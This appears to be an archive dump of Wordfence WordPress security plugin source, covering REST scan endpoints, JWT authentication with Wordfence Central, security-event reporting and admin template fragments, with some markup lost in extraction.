rest_ensure_response(array( 'success' => true, 'public-key' => ParagonIE_Sodium_Compat::bin2hex($publicKey), )); } }rest-api/wfRESTScanController.php000064400000012106147206764270013003 0ustar00 WP_REST_Server::READABLE, 'callback' => array($this, 'getIssuesList'), 'permission_callback' => array($this, 'verifyToken'), 'group' => array( 'description' => __('Scan result group or all results.', 'wordfence'), 'type' => 'string', 'required' => false, ), 'offset' => array( 'description' => __('Offset of scan results to return.', 'wordfence'), 'type' => 'int', 'required' => false, ), 'limit' => array( 'description' => __('Number of scan results to return.', 'wordfence'), 'type' => 'int', 'required' => false, ), )); register_rest_route('wordfence/v1', '/scan', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array($this, 'startScan'), 'permission_callback' => array($this, 'verifyToken'), )); register_rest_route('wordfence/v1', '/scan', array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array($this, 'stopScan'), 'permission_callback' => array($this, 'verifyToken'), )); register_rest_route('wordfence/v1', '/scan/issue', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array($this, 'updateIssue'), 'permission_callback' => array($this, 'verifyToken'), )); } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function getIssuesList($request) { $group = $request['group'] ? $request['group'] : 'all'; $offset = absint($request['offset']); $limit = absint($request['limit']); if ($limit === 0) { $limit = 100; } switch ($group) { case 'pending': $count = wfIssues::shared()->getPendingIssueCount(); $issues = wfIssues::shared()->getPendingIssues($offset, $limit); break; default: // Return all issues. $count = wfIssues::shared()->getIssueCount(); $issues = wfIssues::shared()->getIssues($offset, $limit); break; } $response = rest_ensure_response(array( 'count' => $count, 'last-scan-time' => wfConfig::get('scanTime'), 'issues' => $issues, )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function startScan($request) { wordfence::status(1, 'info', sprintf(/* translators: Localized date. */ __('Wordfence scan starting at %s from Wordfence Central', 'wordfence'), date('l jS \of F Y h:i:s A', current_time('timestamp')))); try { wfScanEngine::startScan(); } catch (wfScanEngineTestCallbackFailedException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); wfUtils::clearScanLock(); $response = rest_ensure_response(array( 'success' => false, 'error-code' => $e->getCode(), 'error' => $e->getMessage(), )); return $response; } catch (Exception $e) { if ($e->getCode() != wfScanEngine::SCAN_MANUALLY_KILLED) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_GENERAL); $response = rest_ensure_response(array( 'success' => false, 'error-code' => $e->getCode(), 'error' => $e->getMessage(), )); return $response; } } $response = rest_ensure_response(array( 'success' => true, )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function stopScan($request) { wordfence::status(1, 'info', __('Scan stop request received from Wordfence Central.', 'wordfence')); wordfence::status(10, 'info', __('SUM_KILLED:A request was received to stop the previous scan from Wordfence Central.', 'wordfence')); wfUtils::clearScanLock(); //Clear the lock now because there may not be a scan running to pick up the kill request and clear the lock wfScanEngine::requestKill(); wfConfig::remove('scanStartAttempt'); wfConfig::set('lastScanFailureType', false); $response = rest_ensure_response(array( 'success' => true, )); return $response; } /** * @param WP_REST_Request $request * @return mixed|WP_REST_Response */ public function updateIssue($request) { $issue = $request['issue']; $id = is_array($issue) && array_key_exists('id', $issue) ? $issue['id'] : null; $status = is_array($issue) && array_key_exists('status', $issue) ? $issue['status'] : null; if ($id) { $wfdb = new wfDB(); $wfdb->queryWrite("update " . wfDB::networkTable('wfIssues') . " set status='%s' where id=%d", $status, $id); $response = rest_ensure_response(array( 'success' => true, )); return $response; } $response = rest_ensure_response(array( 'success' => false, 'error' => 'Issue not found.', )); return $response; } }rest-api/wfRESTBaseController.php000064400000004056147206764270012776 0ustar00isTokenValid($request); if ($validToken && !is_wp_error($validToken) && $this->tokenData['body']['sub'] === wfConfig::get('wordfenceCentralSiteID') ) { return true; } if (is_wp_error($validToken)) { return $validToken; } return new WP_Error('rest_forbidden_context', __('Token is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } /** * @param WP_REST_Request $request * @return WP_Error|bool */ public function verifyTokenPremium($request) { $validToken = $this->isTokenValid($request); if ($validToken && !is_wp_error($validToken) && $this->tokenData['body']['sub'] === 'wordfence-central-premium' ) { return true; } if (is_wp_error($validToken)) { return $validToken; } return new WP_Error('rest_forbidden_context', __('Token is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } /** * @param WP_REST_Request $request * @return bool|WP_Error */ public function isTokenValid($request) { $authHeader = $request->get_header('Authorization'); if (!$authHeader) { $authHeader = $request->get_header('X-Authorization'); } if (stripos($authHeader, 'bearer ') !== 0) { return new WP_Error('rest_forbidden_context', __('Authorization header format is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } $token = trim(substr($authHeader, 7)); $jwt = new wfJWT(); try { $this->tokenData = $jwt->decode($token); } catch (wfJWTException $e) { return new WP_Error('rest_forbidden_context', $e->getMessage(), array('status' => rest_authorization_required_code())); } catch (Exception $e) { return new WP_Error('rest_forbidden_context', __('Token is invalid.', 'wordfence'), array('status' => rest_authorization_required_code())); } return true; } }wfCentralAPI.php000064400000063333147206764270007563 0ustar00endpoint = $endpoint; $this->method = $method; $this->token = $token; $this->body = $body; $this->args = $args; } /** * Handles an internal error when making a Central API request (e.g., a second sodium_compat library with an * incompatible interface loading instead or in addition to ours). * * @param Exception|Throwable $e */ public static function handleInternalCentralAPIError($e) { error_log('Wordfence encountered an internal Central API error: ' . $e->getMessage()); error_log('Wordfence stack trace: ' . $e->getTraceAsString()); } public function execute($timeout = 10) { $args = array( 'timeout' => $timeout, ); $args = wp_parse_args($this->getArgs(), $args); $args['method'] = $this->getMethod(); if (empty($args['headers'])) { $args['headers'] = array(); } $token = $this->getToken(); if ($token) { $args['headers']['Authorization'] = 'Bearer ' . $token; } if ($this->getBody()) { $args['headers']['Content-Type'] = 'application/json'; $args['body'] = json_encode($this->getBody()); } $http = _wp_http_get_object(); $response = $http->request(WORDFENCE_CENTRAL_API_URL_SEC . $this->getEndpoint(), $args); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); $statusCode = wp_remote_retrieve_response_code($response); // Check if site has been disconnected on Central's end, but the plugin is still trying to connect. if ($statusCode === 404 && strpos($body, 'Site has been disconnected') !== false) { // Increment attempt count. $centralDisconnectCount = (int) get_site_transient('wordfenceCentralDisconnectCount'); set_site_transient('wordfenceCentralDisconnectCount', ++$centralDisconnectCount, 86400); // Once threshold is hit, disconnect Central. if ($centralDisconnectCount > 3) { wfRESTConfigController::disconnectConfig(); } } } return new wfCentralAPIResponse($response); } /** * @return string */ public function getEndpoint() { return $this->endpoint; } /** * @param string $endpoint */ public function setEndpoint($endpoint) { $this->endpoint = $endpoint; } /** * @return string */ public function getMethod() { return $this->method; } /** * @param string $method */ public function setMethod($method) { $this->method = $method; } /** * @return null */ public function getToken() { return $this->token; } /** * @param null $token */ public function setToken($token) { $this->token = $token; } /** * @return array */ public function getBody() { return $this->body; } /** * @param array $body */ public function setBody($body) { $this->body = $body; } /** * @return array */ public function getArgs() { return $this->args; } /** * @param array $args */ public function setArgs($args) { $this->args = $args; } } class wfCentralAPIResponse { public static function parseErrorJSON($json) { $data = json_decode($json, true); if (is_array($data) && array_key_exists('message', $data)) { return $data['message']; } return $json; } /** * @var array|null */ private $response; /** * @param array $response */ public function __construct($response = null) { $this->response = $response; } public function getStatusCode() { return wp_remote_retrieve_response_code($this->getResponse()); } public function getBody() { return wp_remote_retrieve_body($this->getResponse()); } public function getJSONBody() { return json_decode($this->getBody(), true); } public function isError() { if (is_wp_error($this->getResponse())) { return true; } $statusCode = $this->getStatusCode(); return !($statusCode >= 200 && $statusCode < 300); } public function returnErrorArray() { return array( 'err' => 1, 'errorMsg' => sprintf( /* translators: 1. HTTP status code. 2. Error message. */ __('HTTP %1$d received from Wordfence Central: %2$s', 'wordfence'), $this->getStatusCode(), $this->parseErrorJSON($this->getBody())), ); } /** * @return array|null */ public function getResponse() { return $this->response; } /** * @param array|null $response */ public function setResponse($response) { $this->response = $response; } } class wfCentralAuthenticatedAPIRequest extends wfCentralAPIRequest { private $retries = 3; /** * @param string $endpoint * @param string $method * @param array $body * @param array $args */ public function __construct($endpoint, $method = 'GET', $body = array(), $args = array()) { parent::__construct($endpoint, $method, null, $body, $args); } /** * @return mixed|null * @throws wfCentralAPIException */ public function getToken() { $token = parent::getToken(); if ($token) { return $token; } $token = get_transient('wordfenceCentralJWT' . wfConfig::get('wordfenceCentralSiteID')); if ($token) { return $token; } for ($i = 0; $i < $this->retries; $i++) { try { $token = $this->fetchToken(); break; } catch (wfCentralConfigurationException $e) { wfConfig::set('wordfenceCentralConfigurationIssue', true); throw new wfCentralAPIException(__('Fetching token for Wordfence Central authentication due to configuration issue.', 'wordfence')); } catch (wfCentralAPIException $e) { continue; } } if (empty($token)) { if (isset($e)) { throw $e; } else { throw new wfCentralAPIException(__('Unable to authenticate with Wordfence Central.', 'wordfence')); } } $tokenContents = wfJWT::extractTokenContents($token); if (!empty($tokenContents['body']['exp'])) { set_transient('wordfenceCentralJWT' . wfConfig::get('wordfenceCentralSiteID'), $token, $tokenContents['body']['exp'] - time()); } wfConfig::set('wordfenceCentralConfigurationIssue', false); return $token; } public function fetchToken() { require_once(WORDFENCE_PATH . '/lib/sodium_compat_fast.php'); $defaultArgs = array( 'timeout' => 6, ); $siteID = wfConfig::get('wordfenceCentralSiteID'); if (!$siteID) { throw new wfCentralAPIException(__('Wordfence Central site ID has not been created yet.', 'wordfence')); } $secretKey = wfConfig::get('wordfenceCentralSecretKey'); if (!$secretKey) { throw new wfCentralAPIException(__('Wordfence Central secret key has not been created yet.', 'wordfence')); } // Pull down nonce. $request = new wfCentralAPIRequest(sprintf('/site/%s/login', $siteID), 'GET', null, array(), $defaultArgs); $nonceResponse = $request->execute(); if ($nonceResponse->isError()) { $errorArray = $nonceResponse->returnErrorArray(); throw new wfCentralAPIException($errorArray['errorMsg']); } $body = $nonceResponse->getJSONBody(); if (!is_array($body) || !isset($body['nonce'])) { throw new wfCentralAPIException(__('Invalid response received from Wordfence Central when fetching nonce.', 'wordfence')); } $nonce = $body['nonce']; // Sign nonce to pull down JWT. $data = $nonce . '|' . $siteID; try { $signature = ParagonIE_Sodium_Compat::crypto_sign_detached($data, $secretKey); } catch (SodiumException $e) { throw new wfCentralConfigurationException('Signing failed, likely due to malformed secret key', $e); } $request = new wfCentralAPIRequest(sprintf('/site/%s/login', $siteID), 'POST', null, array( 'data' => $data, 'signature' => ParagonIE_Sodium_Compat::bin2hex($signature), ), $defaultArgs); $authResponse = $request->execute(); if ($authResponse->isError()) { $errorArray = $authResponse->returnErrorArray(); throw new wfCentralAPIException($errorArray['errorMsg']); } $body = $authResponse->getJSONBody(); if (!is_array($body)) { throw new wfCentralAPIException(__('Invalid response received from Wordfence Central when fetching token.', 'wordfence')); } if (!isset($body['jwt'])) { // Possible authentication error. throw new wfCentralAPIException(__('Unable to authenticate with Wordfence Central.', 'wordfence')); } return $body['jwt']; } } class wfCentralAPIException extends Exception { } class wfCentralConfigurationException extends RuntimeException { public function __construct($message, $previous = null) { parent::__construct($message, 0, $previous); } } class wfCentral { /** * @return bool */ public static function isSupported() { return function_exists('register_rest_route') && version_compare(phpversion(), '5.3', '>='); } /** * @return bool */ public static function isConnected() { return self::isSupported() && ((bool) self::_isConnected()); } /** * @return bool */ public static function isPartialConnection() { return !self::_isConnected() && wfConfig::get('wordfenceCentralSiteID'); } public static function _isConnected($forceUpdate = false) { static $isConnected; if (!isset($isConnected) || $forceUpdate) { $isConnected = wfConfig::get('wordfenceCentralConnected', false); } return $isConnected; } /** * @param array $issue * @return bool|wfCentralAPIResponse */ public static function sendIssue($issue) { return self::sendIssues(array($issue)); } /** * @param $issues * @return bool|wfCentralAPIResponse */ public static function sendIssues($issues) { $data = array(); foreach ($issues as $issue) { $issueData = array( 'type' => 'issue', 'attributes' => $issue, ); if (array_key_exists('id', $issueData)) { $issueData['id'] = $issue['id']; } $data[] = $issueData; } $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'POST', array( 'data' => $data, )); try { $response = $request->execute(); return $response; } catch (wfCentralAPIException $e) { error_log($e); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } return false; } /** * @param int $issueID * @return bool|wfCentralAPIResponse */ public static function deleteIssue($issueID) { return self::deleteIssues(array($issueID)); } /** * @param $issues * @return bool|wfCentralAPIResponse */ public static function deleteIssues($issues) { $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array( 'data' => array( 'type' => 'issue-list', 'attributes' => array( 'ids' => $issues, ) ), )); try { $response = $request->execute(); return $response; } catch (wfCentralAPIException $e) { error_log($e); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } return false; } /** * @return bool|wfCentralAPIResponse */ public static function deleteNewIssues() { $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array( 'data' => array( 'type' => 'issue-list', 'attributes' => array( 'status' => 'new', ) ), )); try { $response = $request->execute(); return $response; } catch (wfCentralAPIException $e) { error_log($e); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } return false; } /** * @param array $types Array of issue types to delete * @param string $status Issue status to delete * @return bool|wfCentralAPIResponse */ public static function deleteIssueTypes($types, $status = 'new') { $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/issues', 'DELETE', array( 'data' => array( 'type' => 'issue-list', 'attributes' => array( 'types' => $types, 'status' => $status, ) ), )); try { $response = $request->execute(); return $response; } catch (wfCentralAPIException $e) { error_log($e); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } return false; } public static function requestConfigurationSync() { if (! wfCentral::isConnected() || !self::$syncConfig) { return; } $endpoint = '/site/'.wfConfig::get('wordfenceCentralSiteID').'/config'; $args = array('timeout' => 0.01, 'blocking' => false); $request = new wfCentralAuthenticatedAPIRequest($endpoint, 'POST', array(), $args); try { $request->execute(); } catch (Exception $e) { // We can safely ignore an error here for now. } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } } protected static $syncConfig = true; public static function preventConfigurationSync() { self::$syncConfig = false; } /** * @param $scan * @param $running * @return bool|wfCentralAPIResponse */ public static function updateScanStatus($scan = null) { if ($scan === null) { $scan = wfConfig::get_ser('scanStageStatuses'); if (!is_array($scan)) { $scan = array(); } } wfScanner::shared()->flushSummaryItems(); $siteID = wfConfig::get('wordfenceCentralSiteID'); $running = wfScanner::shared()->isRunning(); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/scan', 'PATCH', array( 'data' => array( 'type' => 'scan', 'attributes' => array( 'running' => $running, 'scan' => $scan, 'scan-summary' => wfConfig::get('wf_summaryItems'), ), ), )); try { $response = $request->execute(); wfConfig::set('lastScanStageStatusUpdate', time(), wfConfig::DONT_AUTOLOAD); return $response; } catch (wfCentralAPIException $e) { error_log($e); } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } return false; } /** * @param string $event * @param array $data * @param callable|null $alertCallback */ public static function sendSecurityEvent($event, $data = array(), $alertCallback = null, $sendImmediately = false) { return self::sendSecurityEvents(array(array('type' => $event, 'data' => $data, 'event_time' => microtime(true))), $alertCallback, $sendImmediately); } public static function sendSecurityEvents($events, $alertCallback = null, $sendImmediately = false) { if (empty($events)) { return true; } if (!$sendImmediately && defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) { $sendImmediately = true; } $alerted = false; if (!self::pluginAlertingDisabled() && is_callable($alertCallback)) { call_user_func($alertCallback); $alerted = true; } if ($sendImmediately) { $payload = array(); foreach ($events as $e) { $payload[] = array( 'type' => 'security-event', 'attributes' => array( 'type' => $e['type'], 'data' => $e['data'], 'event_time' => $e['event_time'], ), ); } $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/security-events', 'POST', array( 'data' => $payload, )); try { // Attempt to send the security events to Central. $doing_cron = function_exists('wp_doing_cron') /* WP >= 4.8 */ ? wp_doing_cron() : (defined('DOING_CRON') && DOING_CRON); $response = $request->execute($doing_cron ? 10 : 3); } catch (wfCentralAPIException $e) { // If we didn't alert previously, notify the user now in the event Central is down. if (!$alerted && is_callable($alertCallback)) { call_user_func($alertCallback); } return false; } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); return false; } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); return false; } } else { $wfdb = new wfDB(); $table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents'); $query = "INSERT INTO {$table_wfSecurityEvents} (`type`, `data`, `event_time`, `state`, `state_timestamp`) VALUES "; $query .= implode(', ', array_fill(0, count($events), "('%s', '%s', %f, 'new', NOW())")); $immediateSendTypes = array('adminLogin', 'adminLoginNewLocation', 'nonAdminLogin', 'nonAdminLoginNewLocation', 'wordfenceDeactivated', 'wafDeactivated', 'autoUpdate'); $args = array(); foreach ($events as $e) { $sendImmediately = $sendImmediately || in_array($e['type'], $immediateSendTypes); $args[] = $e['type']; $args[] = json_encode($e['data']); $args[] = $e['event_time']; } $wfdb->queryWriteArray($query, $args); if (($ts = self::isScheduledSecurityEventCronOverdue()) || $sendImmediately) { if ($ts) { self::unscheduleSendPendingSecurityEvents($ts); } self::sendPendingSecurityEvents(); } else { self::scheduleSendPendingSecurityEvents(); } } return true; } public static function sendPendingSecurityEvents() { $wfdb = new wfDB(); $table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents'); $rawEvents = $wfdb->querySelect("SELECT * FROM {$table_wfSecurityEvents} WHERE `state` = 'new' ORDER BY `id` ASC LIMIT 100"); if (empty($rawEvents)) return; $ids = array(); $events = array(); foreach ($rawEvents as $r) { $ids[] = intval($r['id']); $events[] = array( 'type' => $r['type'], 'data' => json_decode($r['data'], true), 'event_time' => $r['event_time'], ); } $idParam = '(' . implode(', ', $ids) . ')'; $wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'sending', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); if (self::sendSecurityEvents($events, null, true)) { $wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'sent', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); self::checkForUnsentSecurityEvents(); } else { $wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); self::scheduleSendPendingSecurityEvents(); } } public static function scheduleSendPendingSecurityEvents() { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_batchSendSecurityEvents')) { wp_schedule_single_event(time() + 300, 'wordfence_batchSendSecurityEvents'); } if ($notMainSite) { restore_current_blog(); } } public static function unscheduleSendPendingSecurityEvents($timestamp) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_batchSendSecurityEvents')) { wp_unschedule_event($timestamp, 'wordfence_batchSendSecurityEvents'); } if ($notMainSite) { restore_current_blog(); } } public static function isScheduledSecurityEventCronOverdue() { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } $overdue = false; if ($ts = wp_next_scheduled('wordfence_batchSendSecurityEvents')) { if ((time() - $ts) > 900) { $overdue = $ts; } } if ($notMainSite) { restore_current_blog(); } return $overdue; } public static function checkForUnsentSecurityEvents() { $wfdb = new wfDB(); $table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents'); $wfdb->queryWrite("UPDATE {$table_wfSecurityEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `state` = 'sending' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 30 MINUTE)"); $count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfSecurityEvents} WHERE `state` = 'new'"); if ($count) { self::scheduleSendPendingSecurityEvents(); } } public static function trimSecurityEvents() { $wfdb = new wfDB(); $table_wfSecurityEvents = wfDB::networkTable('wfSecurityEvents'); $count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfSecurityEvents}"); if ($count > 20000) { $wfdb->truncate($table_wfSecurityEvents); //Similar behavior to other logged data, assume possible DoS so truncate } else if ($count > 1000) { $wfdb->queryWrite("DELETE FROM {$table_wfSecurityEvents} ORDER BY id ASC LIMIT %d", $count - 1000); } } /** * @param $event * @param array $data * @param callable|null $alertCallback */ public static function sendAlertCallback($event, $data = array(), $alertCallback = null) { if (is_callable($alertCallback)) { call_user_func($alertCallback); } } public static function pluginAlertingDisabled() { if (!self::isConnected()) { return false; } return wfConfig::get('wordfenceCentralPluginAlertingDisabled', false); } /** * Returns the site URL as associated with this site's Central linking. * * The return value may be: * - null if there is no `site-url` key present in the stored Central data * - a string if there is a `site-url` value * * @return string|null */ public static function getCentralSiteUrl() { $siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true); return (is_array($siteData) && array_key_exists('site-url', $siteData)) ? (string) $siteData['site-url'] : null; } /** * Populates the Central record's site data if missing or incomplete locally. * * @return array|bool */ public static function populateCentralSiteData() { if (!wfCentral::_isConnected()) { return false; } $siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true); if (!is_array($siteData) || !array_key_exists('site-url', $siteData) || !array_key_exists('audit-log-url', $siteData)) { try { $request = new wfCentralAuthenticatedAPIRequest('/site/' . wfConfig::get('wordfenceCentralSiteID'), 'GET', array(), array('timeout' => 2)); $response = $request->execute(); if ($response->isError()) { return $response->returnErrorArray(); } $responseData = $response->getJSONBody(); if (is_array($responseData) && isset($responseData['data']['attributes'])) { $siteData = $responseData['data']['attributes']; wfConfig::set('wordfenceCentralSiteData', json_encode($siteData)); } } catch (wfCentralAPIException $e) { return false; } catch (Exception $e) { wfCentralAPIRequest::handleInternalCentralAPIError($e); return false; } catch (Throwable $t) { wfCentralAPIRequest::handleInternalCentralAPIError($t); return false; } } return true; } public static function isCentralSiteUrlMismatched() { if (!wfCentral::_isConnected()) { return false; } $centralSiteUrl = self::getCentralSiteUrl(); if (!is_string($centralSiteUrl)) { return false; } $localSiteUrl = get_site_url(); return !wfUtils::compareSiteUrls($centralSiteUrl, $localSiteUrl, array('www')); } public static function mismatchedCentralUrlNotice() { echo '

' . __('Your site is currently linked to Wordfence Central under a different site URL.', 'wordfence') . ' ' . __('This may cause duplicated scan issues if both sites are currently active and reporting and is generally caused by duplicating the database from one site to another (e.g., from a production site to staging). We recommend disconnecting this site only, which will leave the matching site still connected.', 'wordfence') . '

' . __('If this is a single site with multiple domains or subdomains, you can dismiss this message.', 'wordfence') . '

' . '' . __('Disconnect This Site', 'wordfence') . ' ' . '' . __('Disconnect All', 'wordfence') . ' ' . '' . __('Dismiss', 'wordfence') . ' ' . ' (' . esc_html__('opens in new tab', 'wordfence') . ')

'; } /** * Returns the audit log URL for this site in Wordfence Central. * * The return value may be: * - null if there is no `audit-log-url` key present in the stored Central data * - a string if there is a `audit-log-url` value * * @return string|null */ public static function getCentralAuditLogUrl() { $siteData = json_decode(wfConfig::get('wordfenceCentralSiteData', '[]'), true); return (is_array($siteData) && array_key_exists('audit-log-url', $siteData)) ? (string) $siteData['audit-log-url'] : null; } }menu_tools_whois.php000064400000011162147206764270010672 0ustar00

Learn more about Whois Lookup (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_TOOLS_WHOIS_LOOKUP)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); ?>

%s is part of. We've marked the networks we found that this IP address belongs to in red below. Make sure you read all the WHOIS information so that you see all networks this IP belongs to. We recommend blocking the network with the lowest number of addresses. You may find this is listed at the end as part of the 'rWHOIS' query which contacts the local WHOIS server that is run by the network administrator.", 'wordfence'), esc_html($_GET['whoisval'])), array('span'=>array('style'=>array()))); ?>

menu_install.php000064400000003347147206764270007775 0ustar00
__('Install Wordfence', 'wordfence'), 'showIcon' => true, ))->render(); ?>

1, 'existing' => true, 'email' => $email, 'license' => $license)) ?>
wfCurlInterceptor.php000064400000002027147206764270010756 0ustar00requireInterception = $requireInterception; } private function reset() { $this->handle = null; } public function setOption($option, $value) { $this->options[$option] = $value; } public function getHandle() { return $this->handle; } public function handleHook($handle) { $this->handle = $handle; curl_setopt_array($handle, $this->options); } public function intercept($callable) { $this->reset(); $action = array($this, 'handleHook'); add_action(self::HOOK_NAME, $action); $result = $callable(); if ($this->handle === null && $this->requireInterception) throw new wfCurlInterceptionFailedException('Hook was not invoked with a valid cURL handle'); remove_action(self::HOOK_NAME, $action); return $result; } }menu_tools_livetraffic.php000064400000116675147206764270012056 0ustar00

Learn more about Live Traffic (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_TOOLS_LIVE_TRAFFIC)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); ?>


'live-traffic-options', 'showControls' => true, ))->render(); ?>

(opens in new tab))', 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_TOOLS_LIVE_TRAFFIC_OPTION_ENABLE)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); } ?>.

(opens in new tab))', 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_TOOLS_LIVE_TRAFFIC_OPTION_ENABLE)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); } ?>.

  •   
  • }" class="wfTimeAgo wfTimeAgo-timestamp">
    ') ?>

() in () (opens in new tab)'), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'data-bind'=>array()), 'span'=>array('class'=>array()))) ?> (opens in new tab)'), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'data-bind'=>array()), 'span'=>array('class'=>array()))) ?> (opens in new tab)', ''), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array(), 'data-bind'=>array()), 'span'=>array('class'=>array()))) ?> (opens in new tab)', ''), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array(), 'data-bind'=>array()), 'span'=>array('class'=>array()))) ?> non-existent page', 'wordfence'), ''), array('span'=>array('style'=>array()))) ?> ', ''), array('span'=>array('data-bind'=>array()))) ?> ', '') ?> '), array('strong'=>array('data-bind'=>array()))) ?> failed login as "%2$s".', 'wordfence'), '', ''), array('span'=>array('style'=>array()), 'strong'=>array('data-bind'=>array()))) ?> failed login using an invalid username "%2$s".', 'wordfence'), '', ''), array('span'=>array('style'=>array()), 'strong'=>array('data-bind'=>array()))) ?> ()
  
wordfenceHash.php000064400000125316147206764270010064 0ustar00scannedFiles = $scannedFiles; $this->engine = $engine; $this->startTime = microtime(true); $options = $this->engine->scanController()->scanOptions(); if ($options['scansEnabled_core']) { $this->coreEnabled = true; } if ($options['scansEnabled_plugins']) { $this->pluginsEnabled = true; } if ($options['scansEnabled_themes']) { $this->themesEnabled = true; } if ($options['scansEnabled_malware']) { $this->malwareEnabled = true; } if ($options['scansEnabled_coreUnknown']) { $this->coreUnknownEnabled = true; } $this->db = new wfDB(); //Doing a delete for now. Later we can optimize this to only scan modified files. //$this->db->queryWrite("update " . wfDB::networkTable('wfFileMods') . " set oldMD5 = newMD5"); $this->db->truncate(wfDB::networkTable('wfFileMods')); $this->db->truncate(wfDB::networkTable('wfKnownFileList')); $this->db->truncate(wfDB::networkTable('wfPendingIssues')); $fetchCoreHashesStatus = wfIssues::statusStart(__("Fetching core, theme and plugin file signatures from Wordfence", 'wordfence')); try { $this->knownFiles = $this->engine->getKnownFilesLoader()->getKnownFiles(); } catch (wfScanKnownFilesException $e) { wfIssues::statusEndErr(); throw $e; } wfIssues::statusEnd($fetchCoreHashesStatus, wfIssues::STATUS_SUCCESS); if ($this->malwareEnabled) { $malwarePrefixStatus = wfIssues::statusStart(__("Fetching list of known malware files from Wordfence", 'wordfence')); $stored = wfConfig::get_ser('malwarePrefixes', array(), false); if (is_array($stored) && isset($stored['hash']) && $stored['hash'] == $malwarePrefixesHash && isset($stored['prefixes']) && wfWAFUtils::strlen($stored['prefixes']) % 4 == 0) { wordfence::status(4, 'info', __("Using cached malware prefixes", 'wordfence')); } else { wordfence::status(4, 'info', __("Fetching fresh malware prefixes", 'wordfence')); $malwareData = $engine->api->getStaticURL('/malwarePrefixes.bin'); if (!$malwareData) { wfIssues::statusEndErr(); throw new Exception(__("Could not fetch malware signatures from Wordfence servers.", 